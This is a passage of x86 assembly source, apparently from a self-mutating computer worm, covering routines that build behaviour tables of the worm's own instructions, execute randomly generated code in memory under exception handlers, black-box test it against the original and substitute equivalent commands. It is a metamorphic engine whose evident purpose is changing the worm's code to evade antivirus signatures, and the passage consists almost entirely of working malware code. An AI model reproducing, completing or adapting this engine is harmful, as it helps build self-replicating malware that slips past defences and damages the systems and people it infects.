  1969.       AnalyseBehaviourOfCodeGoodAddress:
  1970.  
  1971.         cc rNoEmul,  pushad
  1972.                         ; Temporary Alloced Memory, because it can't be written
  1973.                         ; To .data or hDataMirror as they must stay unchanged for comparing
  1974.  
  1975.             cc rAP,      mov,     ebp, dword[hTempAlloc1]        ; ebp=Temp.VirtualAlloc
  1976.             cc rAP,      push,    ebp         ; Save Temp.VirtualAlloc
  1977.  
  1978.             cc rACP,    xor,     ecx, ecx
  1979.             Zer0TheTempMemory:
  1980.                 cc rACP,    mov,     dword[ebp+ecx], 0x0
  1981.                 cc rACP,    add,     ecx, 0x4
  1982.                 cc rACPF,   cmp,     ecx, 2*4*4
  1983.             cc rNoEmul,  jb,      Zer0TheTempMemory
  1984.  
  1985.             cc rACP,     xor,     ecx, ecx        ; Counter
  1986.             cc rACPS,    mov,     esi, dword[hRandomizedData]
  1987.             cc rACPSI,   mov,     edi, DataStart
  1988.  
  1989.  
  1990.           CompareMirrorMemAgain:
  1991.             cc rACDPSI,  mov,     edx, dword[edi+ecx]
  1992.             cc rABCDPSI, mov,     ebx, dword[esi+ecx]
  1993.  
  1994.             cc rABCDPSIF,cmp,     edx, ebx
  1995.             cc rNoEmul,  je,      CompareMirrorMemNoDifference
  1996.  
  1997.             ; Found difference!
  1998.             ; Write it to qword[ebp]
  1999.             cc rACDPSI,  mov,     dword[ebp], ecx       ; Relative offset of difference
  2000.             cc rACPSI,   mov,     dword[ebp+4], edx     ; different dword
  2001.  
  2002.             cc rACPSI,   add,     ebp, 8            ; Point to next entry
  2003.  
  2004.               CompareMirrorMemNoDifference:
  2005.             cc rACPSI,   add,     ecx, 0x4
  2006.             cc rACPSIF,  cmp,     ecx, (DataEnd-DataStart)
  2007.           cc rNoEmul,  jb,  CompareMirrorMemAgain
  2008.  
  2009.             cc rACPSI,   pop,     esi    ; temp.VirtualAlloc
  2010.  
  2011.             cc rNoEmul,  pushad
  2012.             cc rNoEmul,  call,    RestoreTheMemory
  2013.             cc rNoEmul,  popad
  2014.  
  2015.                         ; eax=dword[tmpAddress]
  2016.             cc rAS,    add,     eax, 9*4        ; eax ... pointer to MemoryPart of Behaviour Table
  2017.             cc rSI,    mov,     edi, eax        ; Pointer to BehaviourTable
  2018.             cc rCSI,   xor,     ecx, ecx
  2019.              AnalyseBehaviourOfCodeWriteMore:
  2020.             cc rACSI,  mov,     eax, dword[esi]
  2021.             cc rCSI,   mov,     dword[edi], eax
  2022.             cc rCSI,   add,     esi, 0x4
  2023.             cc rCSI,   add,     edi, 0x4
  2024.             cc rCSI,   add,     ecx, 0x4
  2025.  
  2026.             cc rCSIF,  cmp,     ecx, 2*4*4
  2027.              cc rNoEmul,  jb, AnalyseBehaviourOfCodeWriteMore    ; Temp-Memory to BehaviourTable
  2028.  
  2029.         cc rNoEmul,  popad
  2030.       cc rNoEmul,  popfd
  2031.  
  2032.       cc rABCDPSIF, push,  ecx    ; temp. save
  2033.         cc rNoEmul, pushfd
  2034.         cc rABCDPSI, pop, ecx     ; ECX=Flags
  2035.         cc rABCDPSI, sub,   dword[eax+0x1C], ecx    ; save FLAGS-difference
  2036.       cc rABCDPSI, pop,   ecx                ; restore original ecx
  2037.  
  2038.       cc rABCDPSI, sub,   dword[eax+0x00], ebx    ; EAX (saved as EBX temporarily)
  2039.       cc rABCDPSI, pop,   ebx             ; restore original ebx
  2040.  
  2041.       cc rACDPSI, sub,   dword[eax+0x04], ebx
  2042.       cc rADPSI,  sub,   dword[eax+0x08], ecx
  2043.       cc rABSI,   sub,   dword[eax+0x0C], edx
  2044.       cc rASI,    sub,   dword[eax+0x10], ebp
  2045.       cc rAI,     sub,   dword[eax+0x14], esi
  2046.       cc rA,      sub,   dword[eax+0x18], edi
  2047.  
  2048.       cc rAB,     mov,   ebx, dword[eax+0x20]    ; ebx=old ESP
  2049.       cc rAB,     sub,   dword[eax+0x20], esp
  2050.  
  2051.       cc rABC,    pop,   ecx             ; ecx=current return-address
  2052.       cc rABCD,   xor,   edx, edx
  2053.       cc rABC,    mov,   dword[eax+0x44], edx
  2054.  
  2055.       cc rABCF,    cmp,  dword[eax+0x20], +4         ; has there been a PUSH?
  2056.       cc rNoEmul,  jne,  AnalyseBehaviourOfCodeRestoreESP
  2057.       cc rBC,      pop,  dword[eax+0x44]             ; Save the offset at the stack
  2058.  
  2059.       AnalyseBehaviourOfCodeRestoreESP:
  2060.       cc rBC,  add,   ebx, 4      ; because of the "pop ecx" above
  2061.       cc rNoEmul, mov,   esp, ebx
  2062.  
  2063.       cc rC,   pop,   ebx ; trash 1
  2064.       cc rC,   pop,   ebx ; trash 2
  2065.       cc rC,   pop,   ebx ; trash 3
  2066.       cc rC,   pop,   ebx ; trash 4
  2067.       cc rC,   pop,   ebx ; trash 5
  2068.       cc rC,   pop,   ebx ; trash 6
  2069.       cc rC,   pop,   ebx ; trash 7
  2070.       cc rC,   pop,   ebx ; trash 8
  2071.       cc rC,   push,  dword[tmpDW8]
  2072.       cc rC,   push,  dword[tmpDW7]
  2073.       cc rC,   push,  dword[tmpDW6]
  2074.       cc rC,   push,  dword[tmpDW5]
  2075.       cc rC,   push,  dword[tmpDW4]
  2076.       cc rC,   push,  dword[tmpDW3]
  2077.       cc rC,   push,  dword[tmpDW2]
  2078.       cc rC,   push,  dword[tmpDW1]
  2079.  
  2080.       cc rNoRes, push,  ecx
  2081. cc rNoEmul,  ret
  2082.  
  2083.  
  2084.  
  2085. MakeBehaviourTableOfOwnCode:
  2086.        cc rNoRes,  push,    PAGE_READWRITE
  2087.        cc rNoRes,  push,    MEM_COMMIT
  2088.        cc rNoRes,  push,    CommandNumber*BehaviourTableSize
  2089.        cc rNoRes,  push,    0x0
  2090.        cc rNoEmul, stdcall, dword[_VirtualAlloc]     ; For the LocalBehaviourTable of all file's commands
  2091.        cc rNoRes,  mov,     dword[hLBTFileCode], eax
  2092.  
  2093.        cc rC,      xor,     ecx, ecx        ; Counter
  2094.  
  2095.      AnalyseNextCommand:
  2096.     cc rAC,      mov,     eax, GlobalBehaviourTable
  2097.     cc rAC,      add,     eax, ecx
  2098.     cc rAC,      mov,     al, byte[eax]
  2099.     cc rCF,      cmp,     al, rNoEmul
  2100.     cc rNoEmul,  je,      MakeBTNoEmul
  2101.  
  2102.     cc rAC,      mov,     eax, dword[WormCodeStart]
  2103.     cc rAC,      push,    dword[ecx*8+eax+0x00]
  2104.     cc rAC,      pop,     dword[BufferForCode+0x00]
  2105.  
  2106.     cc rAC,      push,    dword[ecx*8+eax+0x04]
  2107.     cc rAC,      pop,     dword[BufferForCode+0x04]
  2108.  
  2109.     cc rAC,      mov,     eax, dword[BufferForCode+0x00]
  2110.     cc rABC,     mov,     ebx, dword[BufferForCode+0x04]
  2111.  
  2112.  
  2113.     cc rNoEmul,  pushad
  2114.         cc rABCD,    xor,     edx, edx
  2115.         cc rABD,     mov,     eax, ecx
  2116.         cc rABD,     mov,     ebx, BehaviourTableSize
  2117.         cc rABD,     mul,     ebx
  2118.         cc rABD,     add,     eax, dword[hLBTFileCode]
  2119.         cc rAB,      mov,     dword[tmpAddress], eax
  2120.         cc rAB,      mov,     dword[tmpAddress1], eax
  2121.         cc rAB,      mov,     dword[tmpAddress2], eax
  2122.  
  2123.         VEH_TRY FC1
  2124.  
  2125.         cc rA,       xor,     eax, eax
  2126.         cc rAB,      mov,     ebx, FileCodeExection
  2127.         cc rNoEmul,  call,    GenerateExecuteableCodeInMemory
  2128.         cc rNoEmul,  call,    dword[hExecutionMirror]
  2129.  
  2130.         VEH_EXCEPTION FC1
  2131.  
  2132.         VEH_END FC1
  2133.     cc rNoEmul,  popad
  2134.  
  2135.     MakeBTNoEmul:
  2136.     cc rABC,     inc,     ecx
  2137.     cc rABCF,    cmp,     ecx, CommandNumber
  2138.     cc rNoEmul,  jb,      AnalyseNextCommand
  2139.  
  2140.     cc rNoRes,  push,    tmpMemProtection
  2141.     cc rNoRes,  push,    PAGE_READONLY
  2142.     cc rNoRes,  push,    CommandNumber*BehaviourTableSize
  2143.     cc rNoRes,  push,    dword[hLBTFileCode]
  2144.     cc rNoEmul, stdcall, dword[_VirtualProtect]       ; Read only for LBT from now on...
  2145.  
  2146. cc rNoEmul,  ret
  2147.  
  2148. ; #####
  2149. ; #####   Creator of Behaviour Table of own Code
  2150. ; #####
  2151. ; ###########################################################################
  2152. ; ###########################################################################
  2153.  
  2154.  
  2155.  
  2156. ; ###########################################################################
  2157. ; ###########################################################################
  2158. ; #####
  2159. ; #####   Compare the Behaviour Tables of the file code
  2160. ; #####   with the random code
  2161. ; #####
  2162.  
  2163.  
  2164. CompareCodeBTwithRandomBT:
  2165.  
  2166.         cc rNoEmul,  call,    GetGoodRandomNumber     ; its important where the search-procedure starts
  2167.         cc rC,       xor,     ecx, ecx
  2168.         cc rBC,      mov,     ebx, CommandNumber-2
  2169.         cc rNoEmul,  call,    CreateSpecialRndNumber
  2170.         cc rD,       mov,     dword[RndNumCycle], edx
  2171.         cc rCD,      xor,     ecx, ecx       ; Command Counter
  2172.         cc rC,       add,     ecx, edx
  2173.  
  2174.     CompareNextTable:
  2175.         cc rAC,      mov,     al, byte[GlobalBehaviourTable+ecx]  ; Get the GlobalBT (1 byte) for
  2176.                                 ; the current command
  2177.         cc rACF,     cmp,     al, rNoEmul
  2178.         cc rNoEmul,  je,      NotFoundEqualTables
  2179.  
  2180.         cc rCD,      xor,     edx, edx
  2181.         cc rACD,     mov,     eax, BehaviourTableSize
  2182.         cc rAC,      mul,     ecx    ; eax=edx:eax * ecx = BehaviourTableSize*ecx
  2183.         cc rCS,      mov,     esi, eax
  2184.         cc rCS,      add,     esi, dword[hLBTFileCode]
  2185.  
  2186.  
  2187.         cc rCDS,     xor,     edx, edx       ; Byte Counter in Table
  2188.        CompareNextByte:
  2189.             ; esi = BehaviourTable (file code) -> eax
  2190.             ; edi = TempBehaviourTable (random code) -> ebx
  2191.  
  2192.             cc rCDSF,    cmp,  edx, 8
  2193.         cc rNoEmul,  jge, CompareNoException
  2194.  
  2195.             cc rACDS,     mov,     al, byte[GlobalBehaviourTable+ecx]  ; Get the GlobalBT (1 byte) for
  2196.                                 ; the current command
  2197.  
  2198.             cc rACDS,     mov,     ah, 1          ; ah = 1
  2199.             cc rACDS,     xchg,    cl, dl         ; change
  2200.             cc rACDS,     shl,     ah, cl         ;
  2201.             cc rACDS,     xchg,    cl, dl         ; Back
  2202.                            ; al = GBT
  2203.                            ; ah = 1 shl dl
  2204.  
  2205.             cc rACDSF,    and,     al, ah
  2206.         cc rNoEmul,   jz,  NoNeedForComparing
  2207.  
  2208.         CompareNoException:
  2209.             cc rACDS,     mov,     eax, dword[esi+edx*4]        ; esi = BehaviourTable (file code) -> eax
  2210.             cc rABCDS,    mov,     ebx, dword[TempBehaviourTable+edx*4] ;     = TempBehaviourTable (random code) -> ebx
  2211.             cc rABCDSF,   cmp,     eax, ebx
  2212.             cc rNoEmul,   jne,     NotFoundEqualTables
  2213.  
  2214.          NoNeedForComparing:
  2215.         cc rACDS,     inc,     edx
  2216.         cc rACDSF,    cmp,     edx, BehaviourTableSize/4
  2217.  
  2218.        cc rNoEmul,  jb,   CompareNextByte
  2219.  
  2220.         cc rACDS,      mov, al, byte[CGPushPop]
  2221.         cc rACDSF,     cmp, al, 0x0
  2222.         cc rNoEmul,    jns, CompareFoundNoPopProblem
  2223.  
  2224.         cc rACDS,      mov, eax, dword[TempBehaviourTable+8*4]  ; ESP
  2225.         cc rACDSF,     cmp, eax, -4
  2226.         cc rNoEmul,    jne, NotFoundEqualTables         ; ESP!=-4 && POP zuerst -> PROBLEM!!!
  2227.  
  2228.         CompareFoundNoPopProblem:
  2229.  
  2230.         cc rACDSI,     mov, edi, BufferForCode
  2231.         cc rABCDSI,    mov, ebx, dword[WormCodeStart]
  2232.         cc rABCDSI,    mov, eax, dword[ecx*8+ebx]
  2233.         cc rABCDSI,    mov, dword[edi], eax
  2234.         cc rABCDSI,    mov, eax, dword[ecx*8+ebx+4]
  2235.         cc rACDSI,     mov, dword[edi+4], eax
  2236.  
  2237.         cc rACDS,      mov, al, byte[GlobalBehaviourTable+ecx]
  2238.         cc rACDS,      mov, byte[tmpGBT], al
  2239.         cc rNoEmul,    call,    BlackBoxTesting
  2240.         cc rACDSF,     cmp, eax, 0x0
  2241.         cc rNoEmul,    je,  SubstituteCommand
  2242.         cc rNoEmul,    jmp, NotFoundEqualTables
  2243.  
  2244.  
  2245.        NotFoundEqualTables:
  2246.  
  2247.         cc rACDS,     inc,     ecx
  2248.         cc rACDSF,    cmp,     ecx, CommandNumber
  2249.         cc rNoEmul,   jne,     CreateSpecialRndNumberNotZero
  2250.         cc rACDS,     xor,     ecx, ecx
  2251.         CreateSpecialRndNumberNotZero:
  2252.  
  2253.         cc rACDS,     mov,     edx, dword[RndNumCycle]
  2254.         cc rACDSF,    cmp,     edx, ecx
  2255.     cc rNoEmul,   jne,     CompareNextTable
  2256.  
  2257.         SubstituteCommandEnd:
  2258. cc rNoEmul, ret
  2259.  
  2260. ; #####
  2261. ; #####   Compare the Behaviour Tables of the file code
  2262. ; #####   with the random code
  2263. ; #####
  2264. ; ###########################################################################
  2265. ; ###########################################################################
  2266.  
  2267.  
  2268.  
  2269. ; ###########################################################################
  2270. ; ###########################################################################
  2271. ; #####
  2272. ; #####   BlackBox Testing
  2273. ; #####   Send in different parameters and compare output
  2274. ; #####
  2275.  
  2276. ;BBFoundEqualCode db "FOUND EQUAL CODE!",0x0
  2277. ;BBNoEqualCode    db "no success",0x0
  2278.  
  2279. BlackBoxTesting:
  2280.         cc rNoEmul,  pushad
  2281.  
  2282.         cc rC,       xor,     ecx, ecx
  2283.         cc rC,       mov,     byte[BBExceptionCount], cl          ; If problems occure with the random values of
  2284.                                 ; Mem8/32 operations, we use the original values of the primary test
  2285.         cc rNoRes,   push,    ecx      ; BB Counter
  2286.  
  2287.     PerformeAnotherBlackBoxTest:
  2288.         cc rNoEmul,  call,    GetRandomNumber
  2289.  
  2290.         cc rA,       mov,     eax, CodeExecDifference
  2291.         cc rAB,      mov,     ebx, FileCodeExection
  2292.         cc rNoEmul,  call,    GenerateExecuteableCodeInMemory
  2293.  
  2294.         cc rA,       mov,     eax, BBTableFileCode
  2295.         cc rA,       mov,     dword[tmpAddress], eax
  2296.         cc rA,       mov,     dword[tmpAddress1], eax
  2297.         cc rNoRes,   mov,     dword[tmpAddress2], eax
  2298.  
  2299.         VEH_TRY FC2
  2300.  
  2301.         cc rA,       mov,     al, byte[tmpGBT]
  2302.         cc rF,       and,     al, 10000000b        ; FLAGS?
  2303.         cc rNoEmul,  jz,      BBTestPrePareNoFlags     ; If Flags are restricted, use very small numbers sometimes.
  2304.         cc rB,       mov,     ebx, 3
  2305.         cc rBC,      xor,     ecx, ecx
  2306.         cc rNoEmul,  call,    CreateSpecialRndNumber
  2307.         cc rF,       cmp,     dl, 0
  2308.         cc rNoEmul,  je,      BBTestPrePareNoFlags
  2309.  
  2310.         cc rNoEmul,  call,    CreateRandomRegisters
  2311.  
  2312.         cc rABCDPSI, mov,     dword[BBTableFileCode+0x00], eax
  2313.         cc rABCDPSI, mov,     dword[BBTableRandomCode+0x00], eax
  2314.         cc rABCDPSI, mov,     dword[BBTableFileCode+0x04], ebx
  2315.         cc rABCDPSI, mov,     dword[BBTableRandomCode+0x04], ebx
  2316.         cc rABCDPSI, mov,     dword[BBTableFileCode+0x08], ecx
  2317.         cc rABCDPSI, mov,     dword[BBTableRandomCode+0x08], ecx
  2318.         cc rABCDPSI, mov,     dword[BBTableFileCode+0x0C], edx
  2319.         cc rABCDPSI, mov,     dword[BBTableRandomCode+0x0C], edx
  2320.         cc rABCDPSI, mov,     dword[BBTableFileCode+0x10], ebp
  2321.         cc rABCDPSI, mov,     dword[BBTableRandomCode+0x10], ebp
  2322.         cc rABCDPSI, mov,     dword[BBTableFileCode+0x14], esi
  2323.         cc rABCDPSI, mov,     dword[BBTableRandomCode+0x14], esi
  2324.         cc rABCDPSI, mov,     dword[BBTableFileCode+0x18], edi
  2325.         cc rABCDPSI, mov,     dword[BBTableRandomCode+0x18], edi
  2326.         cc rNoEmul,  jmp,     BBTestOverRandomRegisterCreation
  2327.         BBTestPrePareNoFlags:
  2328.  
  2329.  
  2330.        ; Prepare Registers and BehaviourTables
  2331.         cc rNoEmul,  call,    GetGoodRandomNumber
  2332.         cc rA,       mov,     eax, dword[RandomNumber]
  2333.         cc rA,       mov,     dword[BBTableFileCode+0x00], eax
  2334.         cc rA,       mov,     dword[BBTableRandomCode+0x00], eax
  2335.  
  2336.         cc rNoEmul,  call,    GetGoodRandomNumber
  2337.         cc rAB,      mov,     ebx, dword[RandomNumber]
  2338.         cc rAB,      mov,     dword[BBTableFileCode+0x04], ebx
  2339.         cc rAB,      mov,     dword[BBTableRandomCode+0x04], ebx
  2340.  
  2341.         cc rNoEmul,  call,    GetGoodRandomNumber
  2342.         cc rABC,     mov,     ecx, dword[RandomNumber]
  2343.         cc rABC,     mov,     dword[BBTableFileCode+0x08], ecx
  2344.         cc rABC,     mov,     dword[BBTableRandomCode+0x08], ecx
  2345.  
  2346.         cc rNoEmul,  call,    GetGoodRandomNumber
  2347.         cc rABCD,    mov,     edx, dword[RandomNumber]
  2348.         cc rABCD,    mov,     dword[BBTableFileCode+0x0C], edx
  2349.         cc rABCD,    mov,     dword[BBTableRandomCode+0x0C], edx
  2350.  
  2351.         cc rNoEmul,  call,    GetGoodRandomNumber
  2352.         cc rABCDP,   mov,     ebp, dword[RandomNumber]
  2353.         cc rABCDP,   mov,     dword[BBTableFileCode+0x10], ebp
  2354.         cc rABCDP,   mov,     dword[BBTableRandomCode+0x10], ebp
  2355.  
  2356.         cc rNoEmul,  call,    GetGoodRandomNumber
  2357.         cc rABCDPS,  mov,     esi, dword[RandomNumber]
  2358.         cc rABCDPS,  mov,     dword[BBTableFileCode+0x14], esi
  2359.         cc rABCDPS,  mov,     dword[BBTableRandomCode+0x14], esi
  2360.  
  2361.         cc rNoEmul,  call,    GetGoodRandomNumber
  2362.         cc rABCDPSI, mov,     edi, dword[RandomNumber]
  2363.         cc rABCDPSI, mov,     dword[BBTableFileCode+0x18], edi
  2364.         cc rABCDPSI, mov,     dword[BBTableRandomCode+0x18], edi
  2365.  
  2366.         BBTestOverRandomRegisterCreation:
  2367.         cc rABCDPSI, mov,     dword[BBTableFileCode+0x20], esp
  2368.         cc rABCDPSI, mov,     dword[BBTableRandomCode+0x20], esp
  2369.  
  2370.         cc rABCDPSI, sub,     dword[BBTableFileCode+0x20], 0x08      ; esp is esp+8 here because of
  2371.         cc rABCDPSI, sub,     dword[BBTableRandomCode+0x20], 0x08    ; two less calls. But that makes no difference
  2372.                                          ; just gives a zero in the LBT if no stack change
  2373.                                          ; occures, that makes further codes easier
  2374.  
  2375.         cc rNoEmul,  pushad          ; Save all registers
  2376.             cc rNoEmul,  pushfd      ; Push Flag-dword to stack
  2377.             cc rA,       pop,     eax         ; eax=FLAGS
  2378.  
  2379.             cc rNoEmul,  call,    GetGoodRandomNumber      ; new random number in dword[RandomNumber]
  2380.             cc rAB,      mov,     ebx, dword[RandomNumber] ; ebx = new random number
  2381.             cc rAB,      and,     ebx, 100011000001b       ; Just change CF, ZF, SF, OF
  2382.             cc rA,       xor,     eax, ebx             ; FLAGS xor (dword[RandomNumber] && 100011000000)
  2383.  
  2384.             cc rA,       push,    eax,
  2385.             cc rNoEmul,  popfd
  2386.  
  2387.             cc rAF,       mov,     dword[BBTableFileCode+0x1C], eax
  2388.             cc rF,        mov,     dword[BBTableRandomCode+0x1C], eax
  2389.         cc rNoEmul,  popad
  2390.  
  2391.         cc rNoEmul,  call,    dword[hExecutionMirror]
  2392.  
  2393.         VEH_EXCEPTION FC2
  2394.  
  2395.         VEH_END FC2
  2396.  
  2397.         VEH_TRY RC2
  2398.  
  2399.         cc rA,       mov,     eax, CodeExecDifference
  2400.         cc rAB,      mov,     ebx, RandomCodeExecution
  2401.         cc rNoEmul,  call,    GenerateExecuteableCodeInMemory
  2402.  
  2403.         cc rA,       mov,     eax, BBTableRandomCode
  2404.         cc rA,       mov,     dword[tmpAddress], eax
  2405.         cc rA,       mov,     dword[tmpAddress1], eax
  2406.         cc rNoRes,   mov,     dword[tmpAddress2], eax
  2407.        ; Prepare Registers for RandomCode
  2408.  
  2409.         cc rA,       mov,     eax, dword[BBTableRandomCode+0x00]
  2410.         cc rAB,      mov,     ebx, dword[BBTableRandomCode+0x04]
  2411.         cc rABC,     mov,     ecx, dword[BBTableRandomCode+0x08]
  2412.         cc rABCD,    mov,     edx, dword[BBTableRandomCode+0x0C]
  2413.         cc rABCDP,   mov,     ebp, dword[BBTableRandomCode+0x10]
  2414.         cc rABCDPS,  mov,     esi, dword[BBTableRandomCode+0x14]
  2415.         cc rABCDPSI, mov,     edi, dword[BBTableRandomCode+0x18]
  2416.         cc rABCDPSI, push,    dword[BBTableRandomCode+0x1C]   ; Flags
  2417.         cc rNoEmul,  popfd                    ; Save flags
  2418.  
  2419.         cc rNoEmul,  call,    dword[hExecutionMirror]
  2420.  
  2421.         VEH_EXCEPTION RC2
  2422.  
  2423.         VEH_END RC2
  2424.  
  2425.         cc rA,       mov,     al, byte[bExceptionFC2]
  2426.         cc rAF,      cmp,     al, byte[bExceptionRC2]
  2427.         cc rNoEmul,  jne,     BBNotEqual          ; If just one failed, the codes were not the same
  2428.  
  2429.         cc rAF,      cmp,     al, 1
  2430.         cc rNoEmul,  jne,     BBBothNoException       ; If non of them fail, continue with the standard procedure
  2431.  
  2432.         cc rA,       mov,     al, byte[BBExceptionCount]   ; Both failed -> increase BBExceptionCount, check if Limit if reached
  2433.  
  2434.         cc rA,       inc,     al
  2435.         cc rA,       mov,     byte[BBExceptionCount], al
  2436.         cc rAF,      cmp,     al, 23
  2437.         cc rNoEmul,  jne,     BBOnlyExceptionLimitNotReached
  2438.  
  2439.         cc rNoEmul,  jmp,     BlackBoxTestingWithSimilarParameters   ; There have been 23 exception for both commands. So lets use the original
  2440.                                    ; values from primary test
  2441.         BBOnlyExceptionLimitNotReached:
  2442.         cc rNoEmul,  jmp,     PerformeAnotherBlackBoxTest
  2443.  
  2444.         BBBothNoException:
  2445.         cc rD,       xor,     edx, edx       ; Byte Counter in Table
  2446.         cc rD,       mov,     byte[BBExceptionCount], dl
  2447.        BBCompareNextByte:
  2448.             ; esi = BehaviourTable (file code) -> eax
  2449.             ; edi = TempBehaviourTable (random code) -> ebx
  2450.             cc rDF,  cmp,     edx, 8
  2451.          cc rNoEmul,     jge,     BBCompareNoException
  2452.  
  2453.  
  2454.             cc rAD,  mov,     al, byte[tmpGBT]   ; Get the GlobalBT (1 byte) for
  2455.                            ; the current command
  2456.  
  2457.             cc rAD,  mov,     ah, 1          ; ah = 1
  2458.             cc rAD,  xchg,    cl, dl         ; change
  2459.             cc rAD,  shl,     ah, cl         ;
  2460.             cc rAD,  xchg,    cl, dl         ; Back
  2461.                            ; al = GBT
  2462.                            ; ah = 1 shl dl
  2463.             cc rADF,      and,     al, ah
  2464.          cc rNoEmul,     jz, BBNoNeedForComparing
  2465.  
  2466.          BBCompareNoException:
  2467.  
  2468.             cc rAD,  mov,     eax, dword[BBTableFileCode+edx*4]
  2469.             cc rABD,     mov,     ebx, dword[BBTableRandomCode+edx*4]
  2470.             cc rADF,     cmp,     eax, ebx
  2471.             cc rNoEmul,  jne,     BBNotEqual
  2472.  
  2473.          BBNoNeedForComparing:
  2474.         cc rD,   inc,     edx
  2475.         cc rDF,  cmp,     edx, (BehaviourTableSize)/4
  2476.        cc rNoEmul,  jb,   BBCompareNextByte
  2477.  
  2478.     ; EQUAL!!!
  2479.  
  2480.        cc rC,      pop, ecx
  2481.        cc rC,      inc, ecx
  2482.        cc rC,      push,    ecx
  2483.  
  2484.        cc rAC,     mov, al, byte[tmpGBT]
  2485.        cc rACF,    and, al, 10000000b        ; FLAGS?
  2486.        cc rNoEmul, jnz, BBEndCheckWithFlags  ; If compare flags, do more BlackBox tests
  2487.  
  2488.        cc rCF,     cmp, ecx, 100
  2489.     cc rNoEmul, js, PerformeAnotherBlackBoxTest
  2490.  
  2491.     BBEndCheckWithFlags:
  2492.        cc rCF,     cmp, ecx, 1000
  2493.     cc rNoEmul, js, PerformeAnotherBlackBoxTest
  2494.  
  2495.     BBFoundEqual:
  2496.     cc rNoRes,   pop,     eax         ; Trash
  2497.  
  2498.     cc rNoEmul,  popad
  2499.     cc rA,       xor,     eax, eax
  2500. cc rNoEmul,  ret
  2501.  
  2502.  
  2503.    BBNotEqual:
  2504.     cc rNoRes,   pop,     eax         ; Trash
  2505.  
  2506.     cc rNoEmul,  popad
  2507.     cc rA,       mov, eax, -1
  2508. cc rNoEmul, ret
  2509.  
  2510.  
  2511.  
  2512.  
  2513. BlackBoxTestingWithSimilarParameters:
  2514.         cc rA,       mov,     eax, CodeExecDifference
  2515.         cc rAB,      mov,     ebx, FileCodeExection
  2516.         cc rNoEmul,  call,    GenerateExecuteableCodeInMemory
  2517.  
  2518.         cc rA,       mov,     eax, BBTableFileCode
  2519.         cc rA,       mov,     dword[tmpAddress], eax
  2520.         cc rA,       mov,     dword[tmpAddress1], eax
  2521.         cc rNoRes,   mov,     dword[tmpAddress2], eax
  2522.  
  2523.         VEH_TRY FC2SIM
  2524.  
  2525.  
  2526.        ; Prepare Registers and BehaviourTables
  2527.        ; But this time with similar values as for primary test
  2528.  
  2529.  
  2530.         cc rNoEmul,  call,    BBSimSpecialRndNum
  2531.         cc rA,       add,     eax, dword[rEAX]
  2532.         cc rA,       mov,     dword[BBTableFileCode+0x00], eax
  2533.         cc rNoRes,   mov,     dword[BBTableRandomCode+0x00], eax
  2534.  
  2535.         cc rNoEmul,  call,    BBSimSpecialRndNum
  2536.         cc rA,       add,     eax, dword[rEBX]
  2537.         cc rA,       mov,     dword[BBTableFileCode+0x04], eax
  2538.         cc rNoRes,   mov,     dword[BBTableRandomCode+0x04], eax
  2539.  
  2540.         cc rNoEmul,  call,    BBSimSpecialRndNum
  2541.         cc rA,       add,     eax, dword[rECX]
  2542.         cc rA,       mov,     dword[BBTableFileCode+0x08], eax
  2543.         cc rNoRes,   mov,     dword[BBTableRandomCode+0x08], eax
  2544.  
  2545.         cc rNoEmul,  call,    BBSimSpecialRndNum
  2546.         cc rA,       add,     eax, dword[rEDX]
  2547.         cc rA,       mov,     dword[BBTableFileCode+0x0C], eax
  2548.         cc rNoRes,   mov,     dword[BBTableRandomCode+0x0C], eax
  2549.  
  2550.         cc rNoEmul,  call,    BBSimSpecialRndNum
  2551.         cc rA,       add,     eax, dword[rEBP]
  2552.         cc rA,       mov,     dword[BBTableFileCode+0x10], eax
  2553.         cc rNoRes,   mov,     dword[BBTableRandomCode+0x10], eax
  2554.  
  2555.         cc rNoEmul,  call,    BBSimSpecialRndNum
  2556.         cc rA,       add,     eax, dword[rESI]
  2557.         cc rA,       mov,     dword[BBTableFileCode+0x14], eax
  2558.         cc rNoRes,   mov,     dword[BBTableRandomCode+0x14], eax
  2559.  
  2560.         cc rNoEmul,  call,    BBSimSpecialRndNum
  2561.         cc rA,       add,     eax, dword[rEDI]
  2562.         cc rA,       mov,     dword[BBTableFileCode+0x18], eax
  2563.         cc rNoRes,   mov,     dword[BBTableRandomCode+0x18], eax
  2564.  
  2565.         cc rA,       mov,     eax, dword[BBTableRandomCode+0x00]
  2566.         cc rAB,      mov,     ebx, dword[BBTableRandomCode+0x04]
  2567.         cc rABC,     mov,     ecx, dword[BBTableRandomCode+0x08]
  2568.         cc rABCD,    mov,     edx, dword[BBTableRandomCode+0x0C]
  2569.         cc rABCDP,   mov,     ebp, dword[BBTableRandomCode+0x10]
  2570.         cc rABCDPS,  mov,     esi, dword[BBTableRandomCode+0x14]
  2571.         cc rABCDPSI, mov,     edi, dword[BBTableRandomCode+0x18]
  2572.  
  2573.         cc rABCDPSI, mov,     dword[BBTableFileCode+0x20], esp
  2574.         cc rABCDPSI, mov,     dword[BBTableRandomCode+0x20], esp
  2575.  
  2576.         cc rABCDPSI, sub,     dword[BBTableFileCode+0x20], 0x08       ; esp is esp+8 here because of
  2577.         cc rABCDPSI, sub,     dword[BBTableRandomCode+0x20], 0x08     ; two less calls. But that makes no difference
  2578.                                 ; just gives a zero in the LBT if no stack change
  2579.                                 ; occures, that makes further codes easier
  2580.  
  2581.  
  2582.         cc rNoEmul,  pushad     ; Save all registers
  2583.             cc rNoEmul,  pushfd ; Push Flag-dword to stack
  2584.             cc rA,       pop,     eax     ; eax=FLAGS
  2585.  
  2586.             cc rNoEmul,  call,    GetGoodRandomNumber         ; new random number in dword[RandomNumber]
  2587.             cc rAB,      mov,     ebx, dword[RandomNumber]        ; ebx = new random number
  2588.  
  2589.             cc rAB,      and,     ebx, 100011000001b          ; Just change CF, ZF, SF, OF
  2590.  
  2591.             cc rA,       xor,     eax, ebx          ; FLAGS xor (dword[RandomNumber] && 100011000001)
  2592.  
  2593.             cc rA,       push,    eax
  2594.             cc rNoEmul,  popfd
  2595.  
  2596.             cc rAF,      mov,     dword[BBTableFileCode+0x1C], eax
  2597.             cc rF,       mov,     dword[BBTableRandomCode+0x1C], eax
  2598.         cc rNoEmul,  popad
  2599.  
  2600.  
  2601.         cc rNoEmul,  call,    dword[hExecutionMirror]
  2602.  
  2603.         VEH_EXCEPTION FC2SIM
  2604.  
  2605.         VEH_END FC2SIM
  2606.  
  2607.  
  2608.         VEH_TRY RC2SIM
  2609.  
  2610.         cc rA,       mov,     eax, CodeExecDifference
  2611.         cc rAB,      mov,     ebx, RandomCodeExecution
  2612.         cc rNoEmul,  call,    GenerateExecuteableCodeInMemory
  2613.  
  2614.  
